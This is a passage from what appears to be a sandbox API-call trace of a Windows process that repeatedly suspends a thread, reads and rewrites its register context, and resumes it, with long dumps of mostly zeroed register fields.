Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0094.931] ResumeThread (hThread=0x130) returned 0x1
[0094.931] CloseHandle (hObject=0x130) returned 1
[0094.931] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0094.968] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0095.002] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0095.155] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0095.233] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0095.233] SuspendThread (hThread=0x130) returned 0x0
[0095.233] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147298, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x1425160, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0095.301] SetThreadContext (hThread=0x130, lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147290, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12f89c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0095.380] ResumeThread (hThread=0x130) returned 0x1
[0095.380] CloseHandle (hObject=0x130) returned 1
[0095.380] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0095.414] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0095.452] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0095.535] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0095.612] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0095.612] SuspendThread (hThread=0x130) returned 0x0
[0095.612] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000146c90, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x1419ffc, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0095.680] SetThreadContext (hThread=0x130, lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000146c88, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12f89c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0095.757] ResumeThread (hThread=0x130) returned 0x1
[0095.757] CloseHandle (hObject=0x130) returned 1
[0095.779] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0095.814] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0095.849] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0096.120] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0096.313] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0096.313] SuspendThread (hThread=0x130) returned 0x0
[0096.313] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10297, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000146178, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x1413ffe, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, 